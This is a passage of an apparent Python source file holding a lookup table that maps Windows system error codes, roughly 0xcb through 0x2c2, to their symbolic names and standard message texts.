(\"ERROR_INFLOOP_IN_RELOC_CHAIN\", \"The operating system cannot run %1.\"),\n        0x000000cb: (\"ERROR_ENVVAR_NOT_FOUND\", \"The system could not find the environment option that was entered.\"),\n        0x000000cd: (\"ERROR_NO_SIGNAL_SENT\", \"No process in the command subtree has a signal handler.\"),\n        0x000000ce: (\"ERROR_FILENAME_EXCED_RANGE\", \"The filename or extension is too long.\"),\n        0x000000cf: (\"ERROR_RING2_STACK_IN_USE\", \"The ring 2 stack is in use.\"),\n        0x000000d0: (\"ERROR_META_EXPANSION_TOO_LONG\", \"The global filename characters, * or ?, are entered incorrectly or too many global filename characters are specified.\"),\n        0x000000d1: (\"ERROR_INVALID_SIGNAL_NUMBER\", \"The signal being posted is not correct.\"),\n        0x000000d2: (\"ERROR_THREAD_1_INACTIVE\", \"The signal handler cannot be set.\"),\n        0x000000d4: (\"ERROR_LOCKED\", \"The segment is locked and cannot be reallocated.\"),\n        0x000000d6: (\"ERROR_TOO_MANY_MODULES\", \"Too many dynamic-link modules are attached to this program or dynamic-link module.\"),\n        0x000000d7: (\"ERROR_NESTING_NOT_ALLOWED\", \"Cannot nest calls to LoadModule.\"),\n        0x000000d8: (\"ERROR_EXE_MACHINE_TYPE_MISMATCH\", \"This version of %1 is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher.\"),\n        0x000000d9: (\"ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY\", \"The image file %1 is signed, unable to modify.\"),\n        0x000000da: (\"ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY\", \"The image file %1 is strong signed, unable to modify.\"),\n        0x000000dc: (\"ERROR_FILE_CHECKED_OUT\", \"This file is checked out or locked for editing by another user.\"),\n        0x000000dd: (\"ERROR_CHECKOUT_REQUIRED\", \"The file must be checked out before saving changes.\"),\n        0x000000de: (\"ERROR_BAD_FILE_TYPE\", \"The file type being saved or retrieved has been blocked.\"),\n        0x000000df: (\"ERROR_FILE_TOO_LARGE\", \"The file size exceeds the limit allowed and cannot be saved.\"),\n        0x000000e0: (\"ERROR_FORMS_AUTH_REQUIRED\", \"Access Denied. Before opening files in this location, you must first add the web site to your trusted sites list, browse to the web site, and select the option to login automatically.\"),\n        0x000000e1: (\"ERROR_VIRUS_INFECTED\", \"Operation did not complete successfully because the file contains a virus or potentially unwanted software.\"),\n        0x000000e2: (\"ERROR_VIRUS_DELETED\", \"This file contains a virus or potentially unwanted software and cannot be opened. Due to the nature of this virus or potentially unwanted software, the file has been removed from this location.\"),\n        0x000000e5: (\"ERROR_PIPE_LOCAL\", \"The pipe is local.\"),\n        0x000000e6: (\"ERROR_BAD_PIPE\", \"The pipe state is invalid.\"),\n        0x000000e7: (\"ERROR_PIPE_BUSY\", \"All pipe instances are busy.\"),\n        0x000000e8: (\"ERROR_NO_DATA\", \"The pipe is being closed.\"),\n        0x000000e9: (\"ERROR_PIPE_NOT_CONNECTED\", \"No process is on the other end of the pipe.\"),\n        0x000000ea: (\"ERROR_MORE_DATA\", \"More data is available.\"),\n        0x000000f0: (\"ERROR_VC_DISCONNECTED\", \"The session was canceled.\"),\n        0x000000fe: (\"ERROR_INVALID_EA_NAME\", \"The specified extended attribute name was invalid.\"),\n        0x000000ff: (\"ERROR_EA_LIST_INCONSISTENT\", \"The extended attributes are inconsistent.\"),\n        0x00000102: (\"WAIT_TIMEOUT\", \"The wait operation timed out.\"),\n        0x00000103: (\"ERROR_NO_MORE_ITEMS\", \"No more data is available.\"),\n        0x0000010a: (\"ERROR_CANNOT_COPY\", \"The copy functions cannot be used.\"),\n        0x0000010b: (\"ERROR_DIRECTORY\", \"The directory name is invalid.\"),\n        0x00000113: (\"ERROR_EAS_DIDNT_FIT\", \"The extended attributes did not fit in the buffer.\"),\n        0x00000114: (\"ERROR_EA_FILE_CORRUPT\", \"The extended attribute file on the mounted file system is corrupt.\"),\n        0x00000115: (\"ERROR_EA_TABLE_FULL\", \"The extended attribute table file is full.\"),\n        0x00000116: (\"ERROR_INVALID_EA_HANDLE\", \"The specified extended attribute handle is invalid.\"),\n        0x0000011a: (\"ERROR_EAS_NOT_SUPPORTED\", \"The mounted file system does not support extended attributes.\"),\n        0x00000120: (\"ERROR_NOT_OWNER\", \"Attempt to release mutex not owned by caller.\"),\n        0x0000012a: (\"ERROR_TOO_MANY_POSTS\", \"Too many posts were made to a semaphore.\"),\n        0x0000012b: (\"ERROR_PARTIAL_COPY\", \"Only part of a ReadProcessMemory or WriteProcessMemory request was completed.\"),\n        0x0000012c: (\"ERROR_OPLOCK_NOT_GRANTED\", \"The oplock request is denied.\"),\n        0x0000012d: (\"ERROR_INVALID_OPLOCK_PROTOCOL\", \"An invalid oplock acknowledgment was received by the system.\"),\n        0x0000012e: (\"ERROR_DISK_TOO_FRAGMENTED\", \"The volume is too fragmented to complete this operation.\"),\n        0x0000012f: (\"ERROR_DELETE_PENDING\", \"The file cannot be opened because it is in the process of being deleted.\"),\n        0x00000130: (\"ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING\", \"Short name settings may not be changed on this volume due to the global registry setting.\"),\n        0x00000131: (\"ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME\", \"Short names are not enabled on this volume.\"),\n        0x00000132: (\"ERROR_SECURITY_STREAM_IS_INCONSISTENT\", \"The security stream for the given volume is in an inconsistent state.\"),\n        0x00000133: (\"ERROR_INVALID_LOCK_RANGE\", \"A requested file lock operation cannot be processed due to an invalid byte range.\"),\n        0x00000134: (\"ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT\", \"The subsystem needed to support the image type is not present.\"),\n        0x00000135: (\"ERROR_NOTIFICATION_GUID_ALREADY_DEFINED\", \"The specified file already has a notification GUID associated with it.\"),\n        0x00000136: (\"ERROR_INVALID_EXCEPTION_HANDLER\", \"An invalid exception handler routine has been detected.\"),\n        0x00000137: (\"ERROR_DUPLICATE_PRIVILEGES\", \"Duplicate privileges were specified for the token.\"),\n        0x00000138: (\"ERROR_NO_RANGES_PROCESSED\", \"No ranges for the specified operation were able to be processed.\"),\n        0x00000139: (\"ERROR_NOT_ALLOWED_ON_SYSTEM_FILE\", \"Operation is not allowed on a file system internal file.\"),\n        0x0000013a: (\"ERROR_DISK_RESOURCES_EXHAUSTED\", \"The physical resources of this disk have been exhausted.\"),\n        0x0000013b: (\"ERROR_INVALID_TOKEN\", \"The token representing the data is invalid.\"),\n        0x0000013c: (\"ERROR_DEVICE_FEATURE_NOT_SUPPORTED\", \"The device does not support the command feature.\"),\n        0x0000013d: (\"ERROR_MR_MID_NOT_FOUND\", \"The system cannot find message text for message number 0x%1 in the message file for %2.\"),\n        0x0000013e: (\"ERROR_SCOPE_NOT_FOUND\", \"The scope specified was not found.\"),\n        0x0000013f: (\"ERROR_UNDEFINED_SCOPE\", \"The Central Access Policy specified is not defined on the target machine.\"),\n        0x00000140: (\"ERROR_INVALID_CAP\", \"The Central Access Policy obtained from Active Directory is invalid.\"),\n        0x00000141: (\"ERROR_DEVICE_UNREACHABLE\", \"The device is unreachable.\"),\n        0x00000142: (\"ERROR_DEVICE_NO_RESOURCES\", \"The target device has insufficient resources to complete the operation.\"),\n        0x00000143: (\"ERROR_DATA_CHECKSUM_ERROR\", \"A data integrity checksum error occurred. Data in the file stream is corrupt.\"),\n        0x00000144: (\"ERROR_INTERMIXED_KERNEL_EA_OPERATION\", \"An attempt was made to modify both a KERNEL and normal Extended Attribute (EA) in the same operation.\"),\n        0x00000146: (\"ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED\", \"Device does not support file-level TRIM.\"),\n        0x00000147: (\"ERROR_OFFSET_ALIGNMENT_VIOLATION\", \"The command specified a data offset that does not align to the device's granularity/alignment.\"),\n        0x00000148: (\"ERROR_INVALID_FIELD_IN_PARAMETER_LIST\", \"The command specified an invalid field in its parameter list.\"),\n        0x00000149: (\"ERROR_OPERATION_IN_PROGRESS\", \"An operation is currently in progress with the device.\"),\n        0x0000014a: (\"ERROR_BAD_DEVICE_PATH\", \"An attempt was made to send down the command via an invalid path to the target device.\"),\n        0x0000014b: (\"ERROR_TOO_MANY_DESCRIPTORS\", \"The command specified a number of descriptors that exceeded the maximum supported by the device.\"),\n        0x0000014c: (\"ERROR_SCRUB_DATA_DISABLED\", \"Scrub is disabled on the specified file.\"),\n        0x0000014d: (\"ERROR_NOT_REDUNDANT_STORAGE\", \"The storage device does not provide redundancy.\"),\n        0x0000014e: (\"ERROR_RESIDENT_FILE_NOT_SUPPORTED\", \"An operation is not supported on a resident file.\"),\n        0x0000014f: (\"ERROR_COMPRESSED_FILE_NOT_SUPPORTED\", \"An operation is not supported on a compressed file.\"),\n        0x00000150: (\"ERROR_DIRECTORY_NOT_SUPPORTED\", \"An operation is not supported on a directory.\"),\n        0x00000151: (\"ERROR_NOT_READ_FROM_COPY\", \"The specified copy of the requested data could not be read.\"),\n        0x00000152: (\"ERROR_FT_WRITE_FAILURE\", \"The specified data could not be written to any of the copies.\"),\n        0x00000153: (\"ERROR_FT_DI_SCAN_REQUIRED\", \"One or more copies of data on this device may be out of sync. No writes may be performed until a data integrity scan is completed.\"),\n        0x00000154: (\"ERROR_INVALID_KERNEL_INFO_VERSION\", \"The supplied kernel information version is invalid.\"),\n        0x00000155: (\"ERROR_INVALID_PEP_INFO_VERSION\", \"The supplied PEP information version is invalid.\"),\n        0x0000015e: (\"ERROR_FAIL_NOACTION_REBOOT\", \"No action was taken as a system reboot is required.\"),\n        0x0000015f: (\"ERROR_FAIL_SHUTDOWN\", \"The shutdown operation failed.\"),\n        0x00000160: (\"ERROR_FAIL_RESTART\", \"The restart operation failed.\"),\n        0x00000161: (\"ERROR_MAX_SESSIONS_REACHED\", \"The maximum number of sessions has been reached.\"),\n        0x00000190: (\"ERROR_THREAD_MODE_ALREADY_BACKGROUND\", \"The thread is already in background processing mode.\"),\n        0x00000191: (\"ERROR_THREAD_MODE_NOT_BACKGROUND\", \"The thread is not in background processing mode.\"),\n        0x00000192: (\"ERROR_PROCESS_MODE_ALREADY_BACKGROUND\", \"The process is already in background processing mode.\"),\n        0x00000193: (\"ERROR_PROCESS_MODE_NOT_BACKGROUND\", \"The process is not in background processing mode.\"),\n        0x000001e7: (\"ERROR_INVALID_ADDRESS\", \"Attempt to access invalid address.\"),\n        0x000001f4: (\"ERROR_USER_PROFILE_LOAD\", \"User profile cannot be loaded.\"),\n        0x00000216: (\"ERROR_ARITHMETIC_OVERFLOW\", \"Arithmetic result exceeded 32 bits.\"),\n        0x00000217: (\"ERROR_PIPE_CONNECTED\", \"There is a process on other end of the pipe.\"),\n        0x00000218: (\"ERROR_PIPE_LISTENING\", \"Waiting for a process to open the other end of the pipe.\"),\n        0x00000219: (\"ERROR_VERIFIER_STOP\", \"Application verifier has found an error in the current process.\"),\n        0x0000021a: (\"ERROR_ABIOS_ERROR\", \"An error occurred in the ABIOS subsystem.\"),\n        0x0000021b: (\"ERROR_WX86_WARNING\", \"A warning occurred in the WX86 subsystem.\"),\n        0x0000021c: (\"ERROR_WX86_ERROR\", \"An error occurred in the WX86 subsystem.\"),\n        0x0000021d: (\"ERROR_TIMER_NOT_CANCELED\", \"An attempt was made to cancel or set a timer that has an associated APC and the subject thread is not the thread that originally set the timer with an associated APC routine.\"),\n        0x0000021e: (\"ERROR_UNWIND\", \"Unwind exception code.\"),\n        0x0000021f: (\"ERROR_BAD_STACK\", \"An invalid or unaligned stack was encountered during an unwind operation.\"),\n        0x00000220: (\"ERROR_INVALID_UNWIND_TARGET\", \"An invalid unwind target was encountered during an unwind operation.\"),\n        0x00000221: (\"ERROR_INVALID_PORT_ATTRIBUTES\", \"Invalid Object Attributes specified to NtCreatePort or invalid Port Attributes specified to NtConnectPort\"),\n        0x00000222: (\"ERROR_PORT_MESSAGE_TOO_LONG\", \"Length of message passed to NtRequestPort or NtRequestWaitReplyPort was longer than the maximum message allowed by the port.\"),\n        0x00000223: (\"ERROR_INVALID_QUOTA_LOWER\", \"An attempt was made to lower a quota limit below the current usage.\"),\n        0x00000224: (\"ERROR_DEVICE_ALREADY_ATTACHED\", \"An attempt was made to attach to a device that was already attached to another device.\"),\n        0x00000225: (\"ERROR_INSTRUCTION_MISALIGNMENT\", \"An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references.\"),\n        0x00000226: (\"ERROR_PROFILING_NOT_STARTED\", \"Profiling not started.\"),\n        0x00000227: (\"ERROR_PROFILING_NOT_STOPPED\", \"Profiling not stopped.\"),\n        0x00000228: (\"ERROR_COULD_NOT_INTERPRET\", \"The passed ACL did not contain the minimum required information.\"),\n        0x00000229: (\"ERROR_PROFILING_AT_LIMIT\", \"The number of active profiling objects is at the maximum and no more may be started.\"),\n        0x0000022a: (\"ERROR_CANT_WAIT\", \"Used to indicate that an operation cannot continue without blocking for I/O.\"),\n        0x0000022b: (\"ERROR_CANT_TERMINATE_SELF\", \"Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process.\"),\n        0x0000022c: (\"ERROR_UNEXPECTED_MM_CREATE_ERR\", \"If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter.\"),\n        0x0000022d: (\"ERROR_UNEXPECTED_MM_MAP_ERROR\", \"If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter.\"),\n        0x0000022e: (\"ERROR_UNEXPECTED_MM_EXTEND_ERR\", \"If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter.\"),\n        0x0000022f: (\"ERROR_BAD_FUNCTION_TABLE\", \"A malformed function table was encountered during an unwind operation.\"),\n        0x00000230: (\"ERROR_NO_GUID_TRANSLATION\", \"Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system.\"),\n        0x00000231: (\"ERROR_INVALID_LDT_SIZE\", \"Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors.\"),\n        0x00000233: (\"ERROR_INVALID_LDT_OFFSET\", \"Indicates that the starting value for the LDT information was not an integral multiple of the selector size.\"),\n        0x00000234: (\"ERROR_INVALID_LDT_DESCRIPTOR\", \"Indicates that the user supplied an invalid descriptor when trying to set up Ldt descriptors.\"),\n        0x00000235: (\"ERROR_TOO_MANY_THREADS\", \"Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads.\"),\n        0x00000236: (\"ERROR_THREAD_NOT_IN_PROCESS\", \"An attempt was made to operate on a thread within a specific process, but the thread specified is not in the process specified.\"),\n        0x00000237: (\"ERROR_PAGEFILE_QUOTA_EXCEEDED\", \"Page file quota was exceeded.\"),\n        0x00000238: (\"ERROR_LOGON_SERVER_CONFLICT\", \"The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role.\"),\n        0x00000239: (\"ERROR_SYNCHRONIZATION_REQUIRED\", \"The SAM database on a Windows Server is significantly out of synchronization with the copy on the Domain Controller. A complete synchronization is required.\"),\n        0x0000023a: (\"ERROR_NET_OPEN_FAILED\", \"The NtCreateFile API failed. This error should never be returned to an application, it is a place holder for the Windows Lan Manager Redirector to use in its internal error mapping routines.\"),\n        0x0000023b: (\"ERROR_IO_PRIVILEGE_FAILED\", \"{Privilege Failed}\"),\n        0x0000023c: (\"ERROR_CONTROL_C_EXIT\", \"{Application Exit by CTRL+C}\"),\n        0x0000023d: (\"ERROR_MISSING_SYSTEMFILE\", \"{Missing System File}\"),\n        0x0000023e: (\"ERROR_UNHANDLED_EXCEPTION\", \"{Application Error}\"),\n        0x0000023f: (\"ERROR_APP_INIT_FAILURE\", \"{Application Error}\"),\n        0x00000240: (\"ERROR_PAGEFILE_CREATE_FAILED\", \"{Unable to Create Paging File}\"),\n        0x00000241: (\"ERROR_INVALID_IMAGE_HASH\", \"Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.\"),\n        0x00000242: (\"ERROR_NO_PAGEFILE\", \"{No Paging File Specified}\"),\n        0x00000243: (\"ERROR_ILLEGAL_FLOAT_CONTEXT\", \"{EXCEPTION}\"),\n        0x00000244: (\"ERROR_NO_EVENT_PAIR\", \"An event pair synchronization operation was performed using the thread specific client/server event pair object, but no event pair object was associated with the thread.\"),\n        0x00000245: (\"ERROR_DOMAIN_CTRLR_CONFIG_ERROR\", \"A Windows Server has an incorrect configuration.\"),\n        0x00000246: (\"ERROR_ILLEGAL_CHARACTER\", \"An illegal character was encountered. For a multi-byte character set this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE.\"),\n        0x00000247: (\"ERROR_UNDEFINED_CHARACTER\", \"The Unicode character is not defined in the Unicode character set installed on the system.\"),\n        0x00000248: (\"ERROR_FLOPPY_VOLUME\", \"The paging file cannot be created on a floppy diskette.\"),\n        0x00000249: (\"ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT\", \"The system BIOS failed to connect a system interrupt to the device or bus for which the device is connected.\"),\n        0x0000024a: (\"ERROR_BACKUP_CONTROLLER\", \"This operation is only allowed for the Primary Domain Controller of the domain.\"),\n        0x0000024b: (\"ERROR_MUTANT_LIMIT_EXCEEDED\", \"An attempt was made to acquire a mutant such that its maximum count would have been exceeded.\"),\n        0x0000024c: (\"ERROR_FS_DRIVER_REQUIRED\", \"A volume has been accessed for which a file system driver is required that has not yet been loaded.\"),\n        0x0000024d: (\"ERROR_CANNOT_LOAD_REGISTRY_FILE\", \"{Registry File Failure}\"),\n        0x0000024e: (\"ERROR_DEBUG_ATTACH_FAILED\", \"{Unexpected Failure in DebugActiveProcess}\"),\n        0x0000024f: (\"ERROR_SYSTEM_PROCESS_TERMINATED\", \"{Fatal System Error}\"),\n        0x00000250: (\"ERROR_DATA_NOT_ACCEPTED\", \"{Data Not Accepted}\"),\n        0x00000251: (\"ERROR_VDM_HARD_ERROR\", \"NTVDM encountered a hard error.\"),\n        0x00000252: (\"ERROR_DRIVER_CANCEL_TIMEOUT\", \"{Cancel Timeout}\"),\n        0x00000253: (\"ERROR_REPLY_MESSAGE_MISMATCH\", \"{Reply Message Mismatch}\"),\n        0x00000254: (\"ERROR_LOST_WRITEBEHIND_DATA\", \"{Delayed Write Failed}\"),\n        0x00000255: (\"ERROR_CLIENT_SERVER_PARAMETERS_INVALID\", \"The parameter(s) passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window.\"),\n        0x00000256: (\"ERROR_NOT_TINY_STREAM\", \"The stream is not a tiny stream.\"),\n        0x00000257: (\"ERROR_STACK_OVERFLOW_READ\", \"The request must be handled by the stack overflow code.\"),\n        0x00000258: (\"ERROR_CONVERT_TO_LARGE\", \"Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing onode is moved or the extent stream is converted to a large stream.\"),\n        0x00000259: (\"ERROR_FOUND_OUT_OF_SCOPE\", \"The attempt to find the object found an object matching by ID on the volume but it is out of the scope of the handle used for the operation.\"),\n        0x0000025a: (\"ERROR_ALLOCATE_BUCKET\", \"The bucket array must be grown. Retry transaction after doing so.\"),\n        0x0000025b: (\"ERROR_MARSHALL_OVERFLOW\", \"The user/kernel marshalling buffer has overflowed.\"),\n        0x0000025c: (\"ERROR_INVALID_VARIANT\", \"The supplied variant structure contains invalid data.\"),\n        0x0000025d: (\"ERROR_BAD_COMPRESSION_BUFFER\", \"The specified buffer contains ill-formed data.\"),\n        0x0000025e: (\"ERROR_AUDIT_FAILED\", \"{Audit Failed}\"),\n        0x0000025f: (\"ERROR_TIMER_RESOLUTION_NOT_SET\", \"The timer resolution was not previously set by the current process.\"),\n        0x00000260: (\"ERROR_INSUFFICIENT_LOGON_INFO\", \"There is insufficient account information to log you on.\"),\n        0x00000261: (\"ERROR_BAD_DLL_ENTRYPOINT\", \"{Invalid DLL Entrypoint}\"),\n        0x00000262: (\"ERROR_BAD_SERVICE_ENTRYPOINT\", \"{Invalid Service Callback Entrypoint}\"),\n        0x00000263: (\"ERROR_IP_ADDRESS_CONFLICT1\", \"There is an IP address conflict with another system on the network\"),\n        0x00000264: (\"ERROR_IP_ADDRESS_CONFLICT2\", \"There is an IP address conflict with another system on the network\"),\n        0x00000265: (\"ERROR_REGISTRY_QUOTA_LIMIT\", \"{Low On Registry Space}\"),\n        0x00000266: (\"ERROR_NO_CALLBACK_ACTIVE\", \"A callback return system service cannot be executed when no callback is active.\"),\n        0x00000267: (\"ERROR_PWD_TOO_SHORT\", \"The password provided is too short to meet the policy of your user account.\"),\n        0x00000268: (\"ERROR_PWD_TOO_RECENT\", \"The policy of your user account does not allow you to change passwords too frequently.\"),\n        0x00000269: (\"ERROR_PWD_HISTORY_CONFLICT\", \"You have attempted to change your password to one that you have used in the past.\"),\n        0x0000026a: (\"ERROR_UNSUPPORTED_COMPRESSION\", \"The specified compression format is unsupported.\"),\n        0x0000026b: (\"ERROR_INVALID_HW_PROFILE\", \"The specified hardware profile configuration is invalid.\"),\n        0x0000026c: (\"ERROR_INVALID_PLUGPLAY_DEVICE_PATH\", \"The specified Plug and Play registry device path is invalid.\"),\n        0x0000026d: (\"ERROR_QUOTA_LIST_INCONSISTENT\", \"The specified quota list is internally inconsistent with its descriptor.\"),\n        0x0000026e: (\"ERROR_EVALUATION_EXPIRATION\", \"{Windows Evaluation Notification}\"),\n        0x0000026f: (\"ERROR_ILLEGAL_DLL_RELOCATION\", \"{Illegal System DLL Relocation}\"),\n        0x00000270: (\"ERROR_DLL_INIT_FAILED_LOGOFF\", \"{DLL Initialization Failed}\"),\n        0x00000271: (\"ERROR_VALIDATE_CONTINUE\", \"The validation process needs to continue on to the next step.\"),\n        0x00000272: (\"ERROR_NO_MORE_MATCHES\", \"There are no more matches for the current index enumeration.\"),\n        0x00000273: (\"ERROR_RANGE_LIST_CONFLICT\", \"The range could not be added to the range list because of a conflict.\"),\n        0x00000274: (\"ERROR_SERVER_SID_MISMATCH\", \"The server process is running under a SID different than that required by client.\"),\n        0x00000275: (\"ERROR_CANT_ENABLE_DENY_ONLY\", \"A group marked use for deny only cannot be enabled.\"),\n        0x00000276: (\"ERROR_FLOAT_MULTIPLE_FAULTS\", \"{EXCEPTION}\"),\n        0x00000277: (\"ERROR_FLOAT_MULTIPLE_TRAPS\", \"{EXCEPTION}\"),\n        0x00000278: (\"ERROR_NOINTERFACE\", \"The requested interface is not supported.\"),\n        0x00000279: (\"ERROR_DRIVER_FAILED_SLEEP\", \"{System Standby Failed}\"),\n        0x0000027a: (\"ERROR_CORRUPT_SYSTEM_FILE\", \"The system file %1 has become corrupt and has been replaced.\"),\n        0x0000027b: (\"ERROR_COMMITMENT_MINIMUM\", \"{Virtual Memory Minimum Too Low}\"),\n        0x0000027c: (\"ERROR_PNP_RESTART_ENUMERATION\", \"A device was removed so enumeration must be restarted.\"),\n        0x0000027d: (\"ERROR_SYSTEM_IMAGE_BAD_SIGNATURE\", \"{Fatal System Error}\"),\n        0x0000027e: (\"ERROR_PNP_REBOOT_REQUIRED\", \"Device will not start without a reboot.\"),\n        0x0000027f: (\"ERROR_INSUFFICIENT_POWER\", \"There is not enough power to complete the requested operation.\"),\n        0x00000280: (\"ERROR_MULTIPLE_FAULT_VIOLATION\", \" ERROR_MULTIPLE_FAULT_VIOLATION\"),\n        0x00000281: (\"ERROR_SYSTEM_SHUTDOWN\", \"The system is in the process of shutting down.\"),\n        0x00000282: (\"ERROR_PORT_NOT_SET\", \"An attempt to remove a processes DebugPort was made, but a port was not already associated with the process.\"),\n        0x00000283: (\"ERROR_DS_VERSION_CHECK_FAILURE\", \"This version of Windows is not compatible with the behavior version of directory forest, domain or domain controller.\"),\n        0x00000284: (\"ERROR_RANGE_NOT_FOUND\", \"The specified range could not be found in the range list.\"),\n        0x00000286: (\"ERROR_NOT_SAFE_MODE_DRIVER\", \"The driver was not loaded because the system is booting into safe mode.\"),\n        0x00000287: (\"ERROR_FAILED_DRIVER_ENTRY\", \"The driver was not loaded because it failed its initialization call.\"),\n        0x00000288: (\"ERROR_DEVICE_ENUMERATION_ERROR\", \"The '%hs' encountered an error while applying power or reading the device configuration.\"),\n        0x00000289: (\"ERROR_MOUNT_POINT_NOT_RESOLVED\", \"The create operation failed because the name contained at least one mount point which resolves to a volume to which the specified device object is not attached.\"),\n        0x0000028a: (\"ERROR_INVALID_DEVICE_OBJECT_PARAMETER\", \"The device object parameter is either not a valid device object or is not attached to the volume specified by the file name.\"),\n        0x0000028b: (\"ERROR_MCA_OCCURED\", \"A Machine Check Error has occurred. Please check the system eventlog for additional information.\"),\n        0x0000028c: (\"ERROR_DRIVER_DATABASE_ERROR\", \"There was error [%2] processing the driver database.\"),\n        0x0000028d: (\"ERROR_SYSTEM_HIVE_TOO_LARGE\", \"System hive size has exceeded its limit.\"),\n        0x0000028e: (\"ERROR_DRIVER_FAILED_PRIOR_UNLOAD\", \"The driver could not be loaded because a previous version of the driver is still in memory.\"),\n        0x0000028f: (\"ERROR_VOLSNAP_PREPARE_HIBERNATE\", \"{Volume Shadow Copy Service}\"),\n        0x00000290: (\"ERROR_HIBERNATION_FAILURE\", \"The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted.\"),\n        0x00000291: (\"ERROR_PWD_TOO_LONG\", \"The password provided is too long to meet the policy of your user account.\"),\n        0x00000299: (\"ERROR_FILE_SYSTEM_LIMITATION\", \"The requested operation could not be completed due to a file system limitation\"),\n        0x0000029c: (\"ERROR_ASSERTION_FAILURE\", \"An assertion failure has occurred.\"),\n        0x0000029d: (\"ERROR_ACPI_ERROR\", \"An error occurred in the ACPI subsystem.\"),\n        0x0000029e: (\"ERROR_WOW_ASSERTION\", \"WOW Assertion Error.\"),\n        0x0000029f: (\"ERROR_PNP_BAD_MPS_TABLE\", \"A device is missing in the system BIOS MPS table. This device will not be used.\"),\n        0x000002a0: (\"ERROR_PNP_TRANSLATION_FAILED\", \"A translator failed to translate resources.\"),\n        0x000002a1: (\"ERROR_PNP_IRQ_TRANSLATION_FAILED\", \"A IRQ translator failed to translate resources.\"),\n        0x000002a2: (\"ERROR_PNP_INVALID_ID\", \"Driver %2 returned invalid ID for a child device (%3).\"),\n        0x000002a3: (\"ERROR_WAKE_SYSTEM_DEBUGGER\", \"{Kernel Debugger Awakened}\"),\n        0x000002a4: (\"ERROR_HANDLES_CLOSED\", \"{Handles Closed}\"),\n        0x000002a5: (\"ERROR_EXTRANEOUS_INFORMATION\", \"{Too Much Information}\"),\n        0x000002a6: (\"ERROR_RXACT_COMMIT_NECESSARY\", \"This warning level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted.\"),\n        0x000002a7: (\"ERROR_MEDIA_CHECK\", \"{Media Changed}\"),\n        0x000002a8: (\"ERROR_GUID_SUBSTITUTION_MADE\", \"{GUID Substitution}\"),\n        0x000002a9: (\"ERROR_STOPPED_ON_SYMLINK\", \"The create operation stopped after reaching a symbolic link\"),\n        0x000002aa: (\"ERROR_LONGJUMP\", \"A long jump has been executed.\"),\n        0x000002ab: (\"ERROR_PLUGPLAY_QUERY_VETOED\", \"The Plug and Play query operation was not successful.\"),\n        0x000002ac: (\"ERROR_UNWIND_CONSOLIDATE\", \"A frame consolidation has been executed.\"),\n        0x000002ad: (\"ERROR_REGISTRY_HIVE_RECOVERED\", \"{Registry Hive Recovered}\"),\n        0x000002ae: (\"ERROR_DLL_MIGHT_BE_INSECURE\", \"The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?\"),\n        0x000002af: (\"ERROR_DLL_MIGHT_BE_INCOMPATIBLE\", \"The application is loading executable code from the module %hs. This is secure, but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?\"),\n        0x000002b0: (\"ERROR_DBG_EXCEPTION_NOT_HANDLED\", \"Debugger did not handle the exception.\"),\n        0x000002b1: (\"ERROR_DBG_REPLY_LATER\", \"Debugger will reply later.\"),\n        0x000002b2: (\"ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE\", \"Debugger cannot provide handle.\"),\n        0x000002b3: (\"ERROR_DBG_TERMINATE_THREAD\", \"Debugger terminated thread.\"),\n        0x000002b4: (\"ERROR_DBG_TERMINATE_PROCESS\", \"Debugger terminated process.\"),\n        0x000002b5: (\"ERROR_DBG_CONTROL_C\", \"Debugger got control C.\"),\n        0x000002b6: (\"ERROR_DBG_PRINTEXCEPTION_C\", \"Debugger printed exception on control C.\"),\n        0x000002b7: (\"ERROR_DBG_RIPEXCEPTION\", \"Debugger received RIP exception.\"),\n        0x000002b8: (\"ERROR_DBG_CONTROL_BREAK\", \"Debugger received control break.\"),\n        0x000002b9: (\"ERROR_DBG_COMMAND_EXCEPTION\", \"Debugger command communication exception.\"),\n        0x000002ba: (\"ERROR_OBJECT_NAME_EXISTS\", \"{Object Exists}\"),\n        0x000002bb: (\"ERROR_THREAD_WAS_SUSPENDED\", \"{Thread Suspended}\"),\n        0x000002bc: (\"ERROR_IMAGE_NOT_AT_BASE\", \"{Image Relocated}\"),\n        0x000002bd: (\"ERROR_RXACT_STATE_CREATED\", \"This informational level status indicates that a specified registry sub-tree transaction state did not yet exist and had to be created.\"),\n        0x000002be: (\"ERROR_SEGMENT_NOTIFICATION\", \"{Segment Load}\"),\n        0x000002bf: (\"ERROR_BAD_CURRENT_DIRECTORY\", \"{Invalid Current Directory}\"),\n        0x000002c0: (\"ERROR_FT_READ_RECOVERY_FROM_BACKUP\", \"{Redundant Read}\"),\n        0x000002c1: (\"ERROR_FT_WRITE_RECOVERY\", \"{Redundant Write}\"),\n        0x000002c2: (\"ERROR_IMAGE_MACHINE_TYPE_MISMATCH\", 